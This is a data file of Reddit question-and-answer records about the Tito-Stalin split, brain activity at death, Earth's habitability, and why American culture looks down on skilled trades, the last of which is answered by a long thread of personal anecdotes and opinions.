{"q_id": "6ucuts", "title": "After Josef Tito's split with Stalin, why didn't the USSR invade Yugoslavia with Warsaw Pact troops like they did in Prague and Hungary?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ucuts/after_josef_titos_split_with_stalin_why_didnt_the/", "answers": {"a_id": ["dlruj80"], "score": [2], "text": ["For one, there was no Warsaw Pact in 1948, when the Tito-Stalin split occurred, and this was still in the early post-War period where many things (borders, alliances) were hazy.\n\nAlso, the split was mostly due to disagreements which were discovered over the course of the split. Rudimentary plans of a communist alliance made during the Second World War were interpreted differently and these differing conceptions were only really hammered in post-War. Tito, for instance, intended the alliance to be less unipolar, and supported the expansion of Yugoslavia and Bulgaria far beyond how Stalin had envisioned (specifically, Tito desired Yugoslavia and Bulgaria to absorb Greece, and for Yugoslavia alone to absorb Albania and parts of Italy).\n\nFinally, the most important reason was that, in WWII, the Soviets did not have a strong presence in Yugoslavia, and Yugoslav independence was achieved above all by the actions of the partisans, and not the approaching Soviets, as it had been in other Eastern Bloc countries. So, when Yugoslavia did split, the Soviets had only spies in the country, but few boots on the ground troops vs. Czechoslovakia and Hungary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pwlzb", "title": "Has anyone ever done a brain scan of someone who is about to die?", "selftext": "What kind of brain activity is there as someone is dying? Does everything just turn off? Or is there like an explosion of activity first?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pwlzb/has_anyone_ever_done_a_brain_scan_of_someone_who/", "answers": {"a_id": ["c3su1a4"], "score": [43], "text": ["I've made recordings from inside brain cells (neurons) of animals as they die.\n\nBut in a more general sense, we have a pretty good idea of what happens.\n\nAs oxygen levels drop, cells lose there ability to generate energy. In a brain cell, this means they loose the ability to separate electrical charge. What you see is that cells slowly become \"depolarized\". Neurons normally hold a negative voltage inside of themselves, relative to the outside. It is changes to this voltage that allows neurons to perform computations, and signal to other brain cells. When this voltage is lost, (aka the become depolarized) they lose their ability to function.\n\nBrain cells stop working. Brain stops working. You die."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "iw77h", "title": "Can someone explain how we exist here on Earth without freezing or melting?", "selftext": "I'm guessing it has to do with our planet being the perfect distance from the sun, in that we aren't too close like Venus, but not too far like Mars.  And if this is the case, do we exist because we have a source of water that retains its liquid state?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iw77h/can_someone_explain_how_we_exist_here_on_earth/", "answers": {"a_id": ["c27484e"], "score": [5], "text": [" > Can someone explain how we exist here on Earth without freezing or melting? \n\nBecause we evolved here.  Had we evolved on another planet, we would look at the Earth and declare that it's too hot, or too cold, or too wet, or too dry.\n\nThis is kind of a special case of the [anthropic principle](_URL_0_).\n\n > And if this is the case, do we exist because we have a source of water that retains its liquid state?\n\n**We**, specifically, exist because of that (among many other factors), but I'm pretty sure that the jury's still out on whether liquid water is a necessity for all possible forms of life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Anthropic_principle"]]}
{"q_id": "250b75", "title": "why, in america today, are skilled trades and hard labor \"frowned upon\" in general as career choices as opposed to white collar work?", "selftext": "As a recent high school grad, I can't remember many people that were supportive of anyone's decision to not go to college, with literally almost 99% of them insisting on at least an associates degree, even though most are useless (some, like CAD, are very practical however). People don't seem to realize what would happen without skilled tradesmen, or the potential they offer. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/250b75/eli5_why_in_america_today_are_skilled_trades_and/", "answers": {"a_id": ["chcejwt", "chcemig", "chceot2", "chcerme", "chcfh8b", "chcg3x8", "chcgl0d", "chch0o8", "chch5l5", "chchmn9", "chci4co", "chciezd", "chcj699", "chck1ee", "chck49m", "chck8gl", "chckm1t", "chckvx5", "chckwwy", "chckze7", "chclbyv", "chclka6", "chcltde", "chcm7wg", "chcmuhu", "chcn4sb", "chcn6m3", "chcn9x2", "chcna5v", "chcnioy", "chcnvne", "chco7ji", "chco7no", "chcoghy", "chcp0nw", "chcptz3", "chct0sp", "chct1oq", "chcudwj", "chcvk44", "chcxakv", "chdabbn"], "score": [74, 35, 50, 13, 10, 6, 4, 46, 25, 3, 362, 2, 24, 4, 6, 5, 9, 3, 5, 41, 4, 2, 3, 3, 4, 3, 2, 8, 3, 2, 10, 5, 8, 2, 7, 2, 5, 3, 2, 3, 2, 2], "text": ["'Y U NO COLLEGE' is kind of part of the new white-picket-fence mentality. It's seen as part of life, when it's not completely necessary.\n\nLots of working professions still exist and make fabulous careers. Don't limit your options (especially if they're involving going into 50K of debt)", "You don't just go out and become a skilled tradesman without education though. While in some instances you technically *can* get a professional license (or just operate unlicensed) by just getting a certification, you generally need to either work as an apprentice or go to a vocational school to get the knowledge you need to work in the field. There's a big difference between not going to college to do that, and just not going to college.\n\nNow, there is definitely a tendency for white color works to look down on blue collar workers, but then again, not all blue collar workers are particularly skilled. \n\nAs for why people are encouraged to get degrees, even if they won't actually need it, it's because of competition. Unless you're selfemployeed, your job application might just get thrown out as a matter of policy if you don't have a degree.", "You can't offshore the plumber.  \n\nUS seems to have taken trades ed out of the high schools and put it in special technical high schools.  Guys that go to technical high get trades skills *and* full state-standard curriculum.  Straight up high school kids seem to look down on trades-track kids but the laugh is on them.", "Class division. People here really have that hunger games mentality where the workers who appear uneducated (not really true) work for the white collar folk who appear educated (not necessarily smart). \n\nIt's considered better to be on the top because our generation was raised to try and be the best at everything and skilled trades aren't the best someone can do...or so people think. ", "In my state (or maybe partnership with the high schools) you could take trade skill classes while still in highschool for free. Masonry, Systems admin/hardware repair, welding, etc.\n\nDue to the increasingly higher cost of college/degree and more people talking about it, trade skills don't actually seem that frowned upon. Trade skills with 5-10 years of experience can pay more than a lot of degrees. Trade skills can pay well enough to just stay in the middle, or you could manage to get a higher degree and open your own business, get more certs/experience and higher pay, etc. ", "I dont understand it either..... But I dont care what people think I'm still going to college for welding, and I'm going to enjoy doing it like I have through high school", "Plumber here who also went to college\u2026 wish I hadn't wasted the time.  ", "I dropped out of high school and picked electrical up, mostly only learning on the job site and asking a lot of questions. I am now at $25 an hour, no debt, and plan on having a company vehicle, car insurance and a gas card in the next couple years. My trade is universal, I could go anywhere in the world and someone is looking to hire an electrician. When I tell people my trade i'm automatically assumed inferior but who's making what and who's indebted with a slim chance of making what I make in the next few years of graduation. I'm only 23 by the way. ", "Its hard to get into skilled trades. I applyed for the local operators union (heavy machine operator's) and they had over 900 people apply and only were talking 3. So unless you have a family member in it good luck.", "Because secondary education is big business...\n\nMore students means more profits.  Schools sell it, society buys it, Fed coughs up more Pell grants, and the rich get richer.", "Look back two generations. Most people knew how to do a lot of hard labor, and there were plenty of plumbers, carpenters, electricians, etc. Not a whole lot of white collar jobs. So our parent's generation found that it was more employable to get a degree, and a white collar job. Those people ended up creating gargantuan companies in the booming economy, and it became part of the national mindset that white collar college degree work is the ideal standard. So when their kids get around to figuring out what they want to do with their lives, they think that what worked for them will work for us too. Now college is as required as a high school diploma was for them, and vocational work is looked down on because most of the influential groups in society grew up seeing vocational disciplines as hard work for little pay, because there were just too many people in skilled labor. Now there are too many white collars, and not enough handymen, and those handymen make a killing. Average plumber around my area makes upwards of 120k a year.", "I figure it might have something to do with perceptions of what the upper limit on the different type of job's salaries is.", "The US is totally awesome in that anyone who wants to get a college degree can probably get one (this is not the case in lots of countries).  However, it's gone nutballs with making college a requirement for jobs that  shouldn't require a four year degree.  I mean, if you want to be a sales manager, or an administrative assistant or a commercial pilot or any number of other jobs, you need a college degree.  This is stupid.  All of those jobs require training (sometimes lots and lots of it), but its not the kind of training you get in college.  The need to get a degree for jobs that don't really require a degree has sunk so many people into debt with no discernible benefit to the employers requiring a degree in the first place.  Anyway, the more people who get college degrees to be eligible for such jobs, the fewer non-college educated people there are which leaves greater room for misunderstanding, ignorance, and prejudice among the \"educated\". \n\nSkilled tradesmen are awesome, needed, and very often intelligent. Anyone who doesn't realize this fact is either a snob or has led such a sheltered life that they've never actually had a conversation with their mechanic (or electrician, plumber, etc.).  Also, I've got a PhD and I'll be extremely lucky if I ever make as much as my friend's dad, a mechanic who specializes in refurbishing vintage muscle cars.  I'm an Oceanographer and I am completely okay with the time I've spent in school, but if you want to go to trade school instead of college, that's awesome.  You also shouldn't worry what anyone else thinks because you'll be making money hand over fist while all your friends who went to college are still struggling to pay back their student loans.  \n\n", "Part of the explanation is due to the ease of access to that competence. Generally, you can pick up basic plumbing, electrician work, or car mechanics quiet fast and it doesn't require a flawless grip of the English language; ie immigrants can relatively easy pick up those employments as a trainee or junior worker and do on-the-job-training. I started my career as a car mechanic without even having a drivers license and I couldn't hold a screwdriver properly. I started doing oil changes or replacing bolt on parts/stereos etc. This freed up time from the other mechanics so that he could do more demanding things and as things progressed I got to do those jobs as well after I learned. \n\nTypical \"higher education\"-style jobs such as lawyers, doctors, controllers, consultants etc require you to be able to do job directly and it is hard for them to join with no experience/qualified education and training on the job. You can't have someone start training doing chest tubes or a case PM as training. They also generally require a very good grasp of the English language and a very good grasp of the American culture and especially so business culture. As such, immigrants have a relatively hard time starting working in those sectors right off the bat. When I started my job as a management consultant, my first job was to set up a planning department with processes and metrics at an international company. If I had not been given the tools during 4 years of college (and of course help from my dear colleagues) it would have been literally impossible to succeed with. \n\nThe same reasoning also expands to outsourcing; it is very easy to outsource facility services (both soft and hard) but it is borderline impossible to outsource your legal department. \n\nTL;DR it is relatively easy to train a plumber from scratch while on the work but relatively hard to train a surgeon from scratch on the job. ", "because how else is academia going to ensure that they get paid for every baby dropped onto this planet without making sure that everyone is absolutely convinced that they are a failure at life without a bachelor's degree?  Then the toilet stops working.", "Not to sound snarky, but myself and the folks I hang with absolutely do not look down upon blue collar workers.  Most of my friends who are blue collar make a really good living... And they generally don't ever have to take their work home with them.  Which is a major bonus imho.", "I was having this conversation with friends the other day. One of my close friends barely graduated high school (not due to intelligence, but attitude) and became a diesel mechanic. It's all he ever wanted to do.\n\nHe makes $38 an hour and has amazing benefits, and is working on a solid retirement. He made over $120k last year once he added all of his overtime.\n\nAnother friend works for an electric company, with most of his pay coming from repairing lines after large storms. He made over $250k last year.\n\nAnd then there are all of my friends that are 2 years out of grad school or 4-5 years out of college. I don't think any of them make over $90k a year.\n\nAmericans in general view labor jobs as beneath them. Most women would take the lawyer over the electrical worker, not knowing the electrical worker makes double what the lawyer does.", "No job is frowned upon if you are good at it.", "The liberal movements that took over education successfully propagated the idea that *everyone* was not only capable of going to college, but that they *should* go to college.  Many countries have a robust education system surrounding the trades.  This is one of many reasons that if you go to many European countries, their public spaces are fucking amazing.  Going into the trades is not seen as an educational failure as it is in the US.  Here, we have created a college or fail mentality.\n\nThe result is predictable.  As everyone is pushed to college, colleges drop their standards, the labor market is saturated with degree holding applicants, and now a 60K 4-year degree holds about as much weight as a free high school diploma did 50 years ago.  \n\nI made the mistake of mentioning this at a respected university and got smacked down as racist or classist for suggesting that we should invest in alternative pathways to college.  Whatever.  The bottom line is that not everyone needs to go to college to do what they want to do, and we fucking need skilled tradesman.  It shouldn't be seen as being a failure to choose to be the best tile worker (is there a term for that?) you can be.", "It's an over-prioritization of what exactly it means to have a college degree based on three generations of history, government programs and protections, and the idea of the 'American Dream'. The short version is that the attitude has changed from \"college as opportunity\" to \"college as a status symbol and a right\" to \"college as a socialization tool\" across three generations. Years of marketing, removal of 'life skills' from high school curriculums, and deep-seated classism has taught our parents to expect college as a sense of introduction and socialization to adulthood that trade jobs don't provide. Our parents' generation (and many of us) have also not been forced to look at the realities of a changing job market soon enough and are often in denial about what sort of salaries and demand different trades can expect. College in and of itself (vs specialized labor, not unskilled labor) does not guarantee a better paycheck; certain *fields* can train you for a different paycheck, but we've been socialized to want the degree more than the training.\n\n------------------------\n\nNow the story-time version: I don't want to over-generalize (although I bet variations of this are applicable to quite a lot of people) but I can describe my family. My grandparents were all young children during the Great Depression, who grew up very poor watching *their* immigrant parents scramble by in low-trade jobs; whatever was available at the time. There wasn't much opportunity to be picky, it was just getting by. I'll call my grandparents' generation 'Gen GD' (Great Depression). Then Gen GD all served in WW2; my grandfathers were army/navy and both grandmothers were army nurses. After the war, my grandfathers were *paid to go to college* on the GI Bill, which was such a crazy burst of opportunity considering the comparative lack of promise from a childhood in the Depression and immigrant parents. Holy shit, initially college had only really been a thing for sons of the wealthy, and now education was just being *offered* to those who seized it after the war. ONE GENERATION from belittled Irish immigrant to college grad. The American Dream is the best thing ever!! The prestige of a college degree was tied both to a sense of class identity, as it used to be something only for wealthier people who could afford (not only pay to tuition but also to just not work a job for 4 years), and an idea of security to keep a competitive edge in the job market. There was a massive boom of jobs and very decent stability in employment, so after getting a practical degree they had reliable employment at the same company for life. They got their leg up, their American Dream. So of course they wanted that same sense of pride, the prestige of a college degree, for their kids. Because this is what it must be like, to grow up in America.\n\nOh god, their kids. My parents, so I can't say anything *too* bad about them, but the rift in attitudes between generations is palpable. Growing up middle class when your parents grew up poor during the depression means a lot of things end up being about status. While my grandparents were given college educations they never would have dreamed of paid for by the government, they also bared the brunt securing that same education for their kids. So my parents, Generation Baby Boom, grew up expecting it; they were the first generation of \"oh, this is what I'm *supposed to do* (rather than 'this is a kickass opportunity'). They were also taught disdain for physical labor because of the idea that degrees are the measure of an intelligent person, and intelligent people are protected from hardships. To make matters worse, Vietnam happened, there was widespread disapproval with the war, my grandparents were busy thinking 'aww fuck no, I didn't go through WW2 just to see my kids sent through the same crap I did', and they pushed college even more because it gave my uncles/dad excuses to be spared from the draft. (This is highly dependent on exact age; I'm just relaying my family's experience.) Going to grad school prolonged their protection from the draft. People with fewer excuses were drafted, and it reinforced both a sense of classism and that same idea that college protects you from the hardships of 'lower' classes.\n\nThen my generation happened. I was born in the late 80s and my parents had all the best intentions for me. College wasn't a rarity, it was *expected*. Because my parents had been pushed so hard to go, and that's what they learned was important. The idea of 'college as opportunity' my grandparents had for themselves became 'college as a status and a right, secured by sound Gen WW2 financial planning' to my parents. Except that job stability wasn't what it was in the 50's when Gen GD was saving for their kids' college, and college tuition started to SURGE to an absurd degree. Because nobody is a special snowflake anymore, and the entire middle class expects to go to college. My parents probably never anticipated, in their idea that 'college is necessary', that that sense of expectation would cost $210,000 at a nice liberal arts school. But the idea that 'college is necessary' was so incredibly ingrained into their heads from *their* parents, with the now-fallacy that it is a 'rarer' thing that sets you apart, that it became a somewhat irrational issue. You 'NEED' the degree, even if the jobs aren't out there. Even if you're irrationally pushing an 18 year old child to incur 200,000 in debt for the 'idea' of a career that doesn't have high demand. ***The problem is that we're no longer training for the jobs we need, we're \"selling\" training for the jobs people wish they had.*** \n\nEducation can be a wonderful thing. It can also be a deceptive marketing ploy. And if you're going to \"buy\" your education like an entertainment experience, people want to do it for their \"dreams\". Sweet lord, the American Dream. To my grandparents it was the idea of having a house at all, and not being stuck in a massive system of instituted Depression-era debt. To my parents it was honoring the dreams of their over-enthusiastic, proud and stable parents, who swore that this new system was the key to it all. To my generation it's \"following your dream\" and to a lot of people it's following dreams that have no real future, because we weren't taught to follow the money, we were taught to follow the prestige, and those are becoming two different things. Lawyer? Yay! Nevermind that there are too many people in law school and it's incredibly hard to get a job with that degree, the PRESTIGE of law school is enough to keep shoving people through the system like an intellectual meat grinder. Going to college \"just because\" and having a failed career in creative arts with no market demand for your skill, and the denial that the degree itself is what you can fall back on. Ironically, with the way college tuition has spiraled we are becoming our grandparents' own version of the American Dream again; dreaming to one day not be stuck in a massive system of debt... except now the debt is self-inflicted.\n\nBut if you DON'T go to college, what on earth will you do with your early 20's? College is where your parents believe you'll get socialized, and learn 'real world' skills, and have life experiences happen. This, IMO, is also fascinatingly tied to a history of 'finishing schools' for women followed by the sexual revolution of the 60s, when my parents went to college, and the illogical idea that college is a 'safe' place to get socialized to sex, relationships, and adulthood in a protected environment of people from similar backgrounds and statuses, rather than being released into the giant abyss of living on your own at 18 in a city. College is now a sense of socialization, like sending kids without siblings to a summer camp. Because everyone in the middle class now does it.\n\n...and because of this expectation, high schools no longer teach the practical skills that people would have needed to know, like how to write a resume, do your taxes, or make a budget. High school, based on our parents' desire to keep us young and innocent and child-like until we are thrown out into the 'buffer zone' of college, is not enough. And so people feel college is a necessary socialization tool for adulthood, as well as a sense of a 'save point' in your life plan.\n\nTrade skills are important. Mike Rowe's recent rant on people who want to \"find the perfect job\" without understanding what makes a person perfect *for* that job is a good example. Because so many baby boomers went to college based on the surge of success (and economic stability) from *their* parents, we all of a sudden had an entire generation from the middle class up who were socialized by a 4-year sleepaway camp. And because that's how they learned \"adjusting to the real world\", that's how they adjusted the system, to keep us childlike until 18, until we, too, have that camp experience. Notice the emphasis on \"finding\" yourself in college. Being a skilled tradesman not only shuns the emphasis on a college degree, but 'limits you' from being able to fall back on it if you change your mind, as well as thrusting you out into the world without that expected socialization. We need to embrace the idea of training for the jobs that will be in demand, of having practical skills, and being realistic to the costs of tuition and the reality of the types of careers that are economically feasible, but it goes against the sense of status and desire for self-expression that we've been taught to expect. ", "Your argument rests on the assumption that college graduates can't be skilled tradesman. People shun the decision not to attend college because you're closing doors you might not even know are open. On the other hand, if you attend college and decide to go into the trades you have not done anything other than educate yourself and leave your options open should you wish to advance in your career.\n\nThere's an anti-education movement in the United States that has discovered success in concealing their agenda as concern about the plight of the middle class and the costs of education. The fact remains, even with more of the cost of education shifted from government to the student, it's a worthwhile investment.", "In the past higher education was:\n\n* more affordable\n* harder to obtain, so it was more prestigious\n* a better guarantee for a comfortable/high income\n\nSome people still have this attitude even though the conditions have changed.\n\n", "It's not that bad in the U.S. Or Europe for the most part. Go to Asia, especially S. Korea to see trades persons and skilled labor get treated like dirt.", "I have never seen anybody on reddit frowning on hard labor work: miners, construction, dockers, etc.\n\nAll frowning here is done here on service: waiters, burger flippers, Walmart workers, etc.", "As somebody from a rural mostly farming community, I do not agree with the premise of this question.", "32/m/Manitoba, Canada here.\n\nI come from a rather academic, white-collar family. My father worked for the provincial government, while my mother was the executive director of various community health service organizations. After high school, my educational path naturally led to university. I spent 3.5 years pursuing a degree (in cognitive psychology, which I still love the absolute fuck out of) before I voluntarily withdrew.\n\nSee, I started thinking quite pragmatically about what I wanted my day-to-day work life to look like. I don't want to sit behind a desk, in an office, the SAME office, day to day. I want variety in my day. Flexibility. I want to be active.\n\nI'm an electrician, and I have to say -- I love the fuck out of my job. I work for a mechanical systems company -- I give brains to buildings! Automating temperature, pressure, humidity, and a host of other things the white collars never even think about. I work Monday-Friday, start my day at 7, I'm home by 3.30, and when I get my ticket I'll be making $40/hr. I'm up and active all day -- climbing, crawling, lifting, drilling, banging. Listening to music, joking around with my co-workers. It's amazing.\n\nSo, to answer your question OP, I think trades are frowned upon because people assume \"dirty\" or \"working with your hands\" equates with \"stupid\". The reality is that, yes, the actual INSTALLATION part doesn't require a genius level IQ. What nobody sees is how much planning and preparation goes INTO the job.", "I had no problem getting an Apprenticeship, however, I live and work in Alberta. I've been a Journeyman Electrician for 3 years now, starting in Residential, moved to Commercial, and Now I'm doing Industrial. Currently I make around 160k (Canadian) a year, and I've recently started an Instrumentation Apprenticeship to get another Journeyman Ticket. The bonus, is that I work a 10 on / 10 off shift, so essentially I only work slightly over half the year... My parents were also in Trades, most of my friends parents however were not, and questioned why I was going into it, I now make more than them and work less, and I'm only 28...", "Frowned upon??\n\n I know several diesel mechanics and electricians who are ALWAYS treated with respect by anyone who has  any concept of what is REALLY going on. \n\nDitto firefighters\n\nEMTs \n\nNurses\n\nTruck Drivers\n\nFiber Optic Cable installers\n\nHVAC Tech(You don't think THAT's physical, just try working with them for a day, Ditto for EMTs )\n\nAll those jobs are hard, physically but take some brains as well.  An old-school, one job repeated a million times factory worker needs years of re-training to do that!!\n\nTHAT'S the hardest type of job to fill. \n\nThe pure hard physical work job has today been mostly automated out of existence. Where it hasn't it WILL be. ", "It's all about the money. Skilled labor jobs don't make you that 6 figure income without putting in a lot of hours. And people these days, generally speaking, have become very lazy and do not take to we'll to hard labor. But, a lot of labor jobs will earn you a fair income, $60 plus per year. Which truly isn't bad if you're willing to live without some of the more extravagant comforts in life. You don't need a TV and cable for every room in your home. You don't need a brand new vehicle every couple years. You don't need a new I pad or cell phone every time a new one comes out. But, that is truly the problem with the world as a whole today. We simply need to learn to live more simple. That doesn't mean giving up all comforts of life. But cutting back a little isn't going to kill anyone. And an example of those $60 plus labor jobs. Plumber is definitely one. HVAC, etc. A boiler operator for a power plant pays $80k per year and only requires a 6 month certificate. And this country is in dyer need of labor employees.", "Is this an American thing? I'm pretty sure most every culture tends to place a higher value on being a lawyer or doctor, rather than a carpenter. Not that it is correct, but I certainly don't think this is something limited to america.", "I don't even understand any of these answers.  As a career builder, and now contractor, the reason that building trades and so called \"blue collar\" jobs are looked down up one is threefold:\n1). It's damn hard work. You work early mornings and you are required to perform work that your oft is not specifically designed to do. Over time, your body will invariably suffer. It takes time to heal, but your body is your primary tool so you can't be without it. Instead, you work through it. As you approach and eclipse your forties, you are actually become less productive so unless you have made arrangements for others to do the work for you by then, you are obsolete. \n2). There is no retirement plan for contractors. With the flood of immigrant labor into the work force over the past three decades, the wages for skilled labor have become stagnant. I started in the industry in 1998 at $17 an hour and I made more money than any of my peers. Today, my lowest paid laborers make $15 an hour and cannot support themselves.  People do not understand quality work because 99% of the people I encounter have no idea how anything we build is supposed to work. people look at three bids and \"pick the middle one because they don't 'need' the best, but want quality\". They have no idea how things are supposed to be put together or what it should cost.  A quality contractor has trouble getting started unless he sacrifices quality in the beginning because he is most likely bidding against those who are willing to take short cuts, use inferior materials, or use uninsured or illegal labor. There is no way to bid anything into a job that might secure ones future--retirement savings, college tuition, nothing. The tools, fuel, materials, they have all gone up tenfold since I started, but wages have actually dropped and quality of work??!!??  Forget about it. \n3). Lastly, skilled labor is obsolete. We are just now watching the last of the trades die out. They are now inventing machines that will manufacture a concrete house onsite in 24 hours. Manufacturers cater to production style construction. The housing boom was when I saw the last of the great contractors die out or sell out. We had to just to keep up. Every division of labor is now such that it can be performed by an unskilled worker without any knowledge. This allowed developers to create McMansion style neighborhoods almost overnight. The average time to build a home went from one years, to six months, to less than 120 days.  Look at old homes and you see the artistry of the craftsman in the plaster, the trim, and the architectural details of the homes. Nowadays, all trim is the same. The plaster trade is dead, none of the things that make a home art even exist anymore. People want little boxes made out of ticky-tacky and they all look just the same. Just like the song says, but people don't even know it because as I said before, no one-I mean no one-has any idea of what a truly well built home even is anymore and they convince themselves that their home is different. \"Oh Margritt, look at my granite, and tile, and my accent walls!  Isn't my home unique?\"  Please,  I haven't built a unique home in twenty years except for my mother and myself.    \n\nMy guess is, trade work is frowned upon because it isn't appreciated and people know it is a dead end job. No retirement, broken body, built in obsolescence.  If you are curious about getting into a trade, don't. Stay in school until you KNOW you have a secure place to land.  Be poor while you are young so you won't be poor when you are old and broken.   Those are the short answers about my work, but really, the decline of trade work is another symptom of the empiricism that is engulfing the world. The real problem is that money has no meaning anymore. People do not know what a dollar is anymore because no one earns a dollar anymore. My industry was destroyed during the last housing boom. The cost to build a quality home in my area now is conservatively over $100/SF but you can still purchase a resale home for less than $40/SF. Why would anyone build?  What is happening right now is that anyone who CAN get out of the industry IS getting out of the industry. What is left to choose from is the pool of illegal labor, or the guys who have no choice.  People watched bankers and politicians literally conjure up money with derivatives and algorithms, paid them off after the collapse, and don't realize that we will never recover. From the ground floor it looks pretty bleak. \n\nTrades survived almost as long as the history of civilized humans because their compensation was commensurate with their effort.  You cannot have a tradesman paid with the same dollar that a Wall Street executive is paid.  One is compensation at arms length for a service provided, one is paid with the result of a math problem. Has anyone stopped to think where the money comes from to pay a banker, a stock broker, a politician?  They are paid using math problems that most of us don't even understand. We are a sheepish generation that is literally fed a line of shit, told to trust the shit-shovelers, and then argues with each other over wether or not it should be republican or democratic shit that we eat.  It is all one and the same. As long as this American economy exists only on paper, those who actually PRODUCE A GOOD OR SERVICE are obsolete in this country. It is frowned upon because it is, in essence, committing financial suicide. \n\nTL;DR  Blue collar work cannot sustain an American through retirement anymore, period. If you cannot find a job that allows you to effectively invent money, then the only secure jobs today are government jobs or specialized  jobs in which you can get paid a lot of money for doing essentially nothing. Stay in school until you find that job like that and society will revere you. ", "Not me! I chose welding and I'm only 22 making 60,000 dollars a year with 8,000 dollars a year in bonuses alone! It's a hard job but I've been doing it for 3 years so now it's just another day to me! I'm happy to make that much without having any student loans. ", "Here is my time to shine. Basically it is a generational shift in attitude. People are taught that you have to go to college to be successful. People tend to look down on tradesman, which is pretty funny to me. I absolutely love when a customer makes a snarky comment, all while cutting me a check for 10k. My guys get paid on average 70k a year, no student loans, no overhanging debt. I jump in my 50k pickup, which also runs me about 900~1000 a month in fuel. Do I work hard? I did work very hard. Now my guys work hard. Do I want to go to Jamaica? My supply houses pay for us to go. You pay 20k for a kitchen remodel, I remodel my kitchen 3times for that price. I have the best heating system, generator, fixtures and everything else in my place. When some thing better comes out, I just put them in. For licenses we carry plumbing, gas, medical gas, electrical, hoisting, drain laying, Hvac, oil, and everything else you can imagine for multiple states. I do what I want when i want. Now as a disclaimer, not everybody is cut out to be an owner. I worked 90 hour weeks, had major surgeries and hated my life fir a few years. But you know what? No boss or cubicle for me. ", "Plumber here in Texas(Houston). No longer in the field and now estimating in the office for a multi-family, new construction plumbing company.\n\n\"Work smarter...not harder\" killed the skilled trade market.  Here in Texas we are struggling to find Journeyman to run our jobs, it's even hard finding apprentice plumbers to help the journeyman and learn the trade.\n\nWe have had people come in and apply and when they hear that they will be on a construction site, sweating, working hard, they immediately turn around and leave.  We had one guy say \"i would rather be on food stamps than have to do manual labor.\"  This was a 24yo male, in shape, and clearly capable of doing the work, he just felt it was above him.  \n\nMy opinion, this is the reason our society(American) is in the shitter.  The best labor we have are the immigrants.  We only hire those that have a work visa or are citizens, but they will work their ass off.  The problem with them is they don't have a high school diploma so they can get a license.  We started a program to send our guys to GED classes(we pay for it) so that we would have licensed plumber in the future because they are the only ones that want this job.  And, if anyone wants to know, our foreman make 25 per hour with mid year and end of the year bonus(based on performance and budget management).  Our least paid foreman made 95k last year.  Our highest paid field foreman made 145k.  Our helpers/apprentice make a set minimum of 30k(not including overtime) with minimum 5k total bonus.  Max is 10k(more if they go above and beyond).\n\nWhen i hear people complain about immigrants taking our jobs, this is the job i feel that they have taken, and i'm not sorry about it.  They come here and work their ass off and do whatever they can to make sure they have food on their table.  They are taking the jobs alot of people don't want.  Not because they can't do the job, but because they think they are above the job, better than the job.  It's disgusting. \n\nNot everyone needs to get a degree, hell, alot of those people don't deserve a dgree, but we have instilled in the youth of today, and yesteryears that the only way they are going to get anywhere in life is to get that piece of paper that says you were trained in a field that you have to have experience in in order to get a job, but you aren't getting that experience here...you have to do that on your own.  It's BS\n\nTo all the high school grads.  If you don't want to go to college, don't.  Become a plumber, welder, even try your hand at CNC machining(the 3 guys i know that do this job make 110k a year with NO overtime).\n\nTL;DR LEARN A TRADE! IT'LL SAVE YOUR ASS WHEN YOU GET LAID OFF FROM YOUR JOB AT THAT SHITTY OFFICE THAT HAD YOU CRUNCHING THE SAME #'S 9 OTHER PEOPLE ARE DOING!\n\n\n", "[I love Mike Rowe's TED talk about this](_URL_0_). ", "That's not true. We just don't think white people should do those jobs. They're for stupid people.\n\n***** Please note this is VERY satirical.", "Skilled trades and hard labor are very different things. Skilled trade manual labor that requires a skill - such as plumbing, welding, electrical, and so on. Hard labor is a type of prison punishment. I suspect you mean manual labor, which is unskilled physical labor. So why does no one want manual labor, skilled or unskilled, for their child?\n\n1) **It's dangerous.** All manual labor has some degree of danger to life and limb. Electricians are prone to electrocution. Welders get burned. Plumbers are notorious for back injuries. Look at any form of manual labor, skilled or unskilled, and you will find a higher rates of injury than a white collar job.\n\n2) **It will age you quickly.** Manual labor is exhausting, and tears up your body. You may be able to do roofing all summer when you're thirty, but you're going to have a hell of a time doing it when you're sixty. The same is true for any work that requires standing or lifting. \n\n3) **It's low-class.** You can make an honest living and be a good person doing manual labor. Even so, you're still going to be sneered upon by the elites. There's no rational reason this sort of bigotry should exist, but it does.\n\n4) **It's associated with powerlessness.** Again, you can make great money in a skilled trade. You can even become well-off. But, if we compare the influence on society (changing people's minds, directing public policy, power) of a skilled tradesman or laborer just don't cut it. When's the last time a blue-collar guy made a mark on politics? Joe the Plumber? Whens the last time a white-collar guy made a mark on politics? Trick question: they're all white collar.\n\n5) **Poverty.** The majority of manual labor is unskilled, cheap and easily replaced. Enjoy your layoffs. Skilled workers may be able to avoid this for a while, but one good, solid recession can change that tune.\n\n6) **It's dirty.** And smelly.\n\nI'm in a white collar field. I will probably never be hurt at work. I can do my job well into old age (my field has a lot of older people who choose to work in it for the lifestyle.) My work is considered upper-middle-class. I also get to work on community outreach on the job, which gives me some power since I'm a board member. I'm extremely employable in a growing industry and making reasonable money. I also go home fresh-as-a-daisy every day.\n\nAdults, especially older ones, know how hard physical labor is. They discourage it for their children because is hard, painful, hot/cold, has bad hours, and chews a body up.", "I think most school teachers and politicians are college grad's, so they tend to 'support' college decisions.  ", "Same reason that we glorify apathy. Were self indulgent retards.", "I went to high school in the early to mid 80's and during that time their were tremendous layoffs in the auto industry and steel industries.  Also, during that time, there was a huge increase in demand for computer skills.\n\nDuring that time, all of the guidance counselors and teachers I knew told every one you \"had to go to college\" if you wanted to make it.\n\nOur educational 'experts' are failing the current generation of high school kids (IMHO).  ", "I'll use myself as an example.  I'm a programmer that went to school to learn CS.  I have never hired a plumber or a carpenter or an electrician.  I am my own carpenter, plumber, electrician.  I have built, piped and wired a second bathroom into our house because I am capable of learning how to do those things on my own, with enough sense to double check and make sure that everything I did was correct.\n\nI use the methods I learned in college to continue learning new things all the time.  I didn't JUST learn computer science while I was at college, I learned how to solve problems.  I realized that the only thing that separates me from a plumber is 